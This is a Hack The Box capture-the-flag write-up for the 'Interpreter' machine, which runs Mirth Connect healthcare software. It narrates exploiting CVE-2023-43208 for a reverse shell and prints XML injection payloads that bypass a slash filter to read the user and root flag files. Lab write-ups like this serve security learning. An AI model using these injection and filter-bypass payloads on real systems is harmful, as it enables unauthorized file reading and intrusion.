HTB Writeup - Interpreter

A medium rated Linux machine running Healthcare software

March 4, 2026

Interpreter is a medium rated Linux machine running healthcare software.

Starting off with a scan as usual, and we get some interesting ports.

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVuD7K78VPFJrRRqOF1sCo4+cr9vm+x+VG1KLHzsgeEp3WWH2MIzd0yi/6eSzNDprifXbxlBCdvIR/et0G0lKI=
|   256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILAfcF/jsYtk8PnokOcYPpkfMdPrKcKdjel2yqgNEtU3
80/tcp   open  http     syn-ack ttl 63 Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
443/tcp  open  ssl/http syn-ack ttl 63 Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Issuer: commonName=Mirth Connect Certificate Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-19T12:50:05
| Not valid after:  2075-09-19T12:50:05
| MD5:     c251 9050 6882 4177 9dbc c609 d325 dd54
| SHA-1:   3f2b a7d8 5c81 9ecf 6e15 cb6a fdc6 df02 8d9b 1179
| SHA-256: 4089 e438 bce4 1091 6edb cc45 32f3 f06e 9e3e e3e0 c476 bd62 e120 aabc 8e1d 30b4
|_http-title: Mirth Connect Administrator
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
6661/tcp open  unknown  syn-ack ttl 63

I start by taking a look at the webpage, which is running something called Mirth Connect, which appears to be an open source healthcare program, a pretty neat software I didn’t know existed. I also did some research on port 6661, where I discovered Health Level 7 (HL7), a standardized health information exchange protocol used for healthcare services to interact with each other. Again, I had no idea this existed, so this was a neat thing to learn about.

Notice the 2021 copyright notice at the bottom of the image, I’m expecting we’ll find a good CVSS 9.5+ vulnerability.

Look’s like I was right, CVE-2023-43208 is a critical unauthenticated remote code execution vulnerability. It’s an easily exploitable deserialization vulnerability. Thanks to its age, there were plenty of PoCs available for use. I grabbed a script from online, but had to play around with the XML escaping for a little before I got my command to run. Eventually, I had a socat reverse shell as the user mirth.

Post Exploitation

I ran linpeas while investigating accessible directories, getting two valuable findings.

After checking some tables, I found an entry in channels called INTERPRETER - HL7 TO XML TO NOTIFY. Finding the CTF name somewhere is, of course, always a good sign. A channel in Mirth Connect appears to be a way to allow communication between multiple services, with the use case here being to reformat HL7 messages into XML that is sent to notify.py.

Another table contained the channel’s configuration, which gave me the info needed to forge our own requests:

<patient>
  <timestamp>20260228120000</timestamp>
  <sender_app>TEST_APP</sender_app>
  <id>0</id>
  <firstname>Fake</firstname>
  <lastname>Name</lastname>
  <birth_date>01/01/2000</birth_date>
  <gender>M</gender>
</patient>

A message with the XML above would respond with Patient Fake Name (M), 26 years old, received from TEST_APP at 20260228120000

I wrote a quick script on the server that would take base64-encoded XML as input, decode it, then send it to http://127.0.0.1:54321/addPatient. When it receives a valid message, it responds with a sentence about the This was just to let me quickly test payloads without spinning up a proxy. After trying many likely injection payloads for an interpreter written in python, I eventually found that data inside { } was evaluated. I tried simply using open('/root/root.txt').read(), but this caused the request to fail. The interpreter had a check for interpreted blocks containing /. The easiest way around this was just replacing them with chr(47).

Here were my final payloads, which responded with the user and root flags:

<patient>
  <timestamp>20260228120000</timestamp>
  <sender_app>TEST_APP</sender_app>
  <id>0</id>
  <firstname>{open(chr(47)+'home'+chr(47)+'sedric'+chr(47)+'user.txt').read()}</firstname>
  <lastname>you</lastname>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>

<patient>
  <timestamp>20260228120000</timestamp>
  <sender_app>TEST_APP</sender_app>
  <id>0</id>
  <firstname>{open(chr(47)+'root'+chr(47)+'root.txt').read()}</firstname>
  <lastname>you</lastname>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>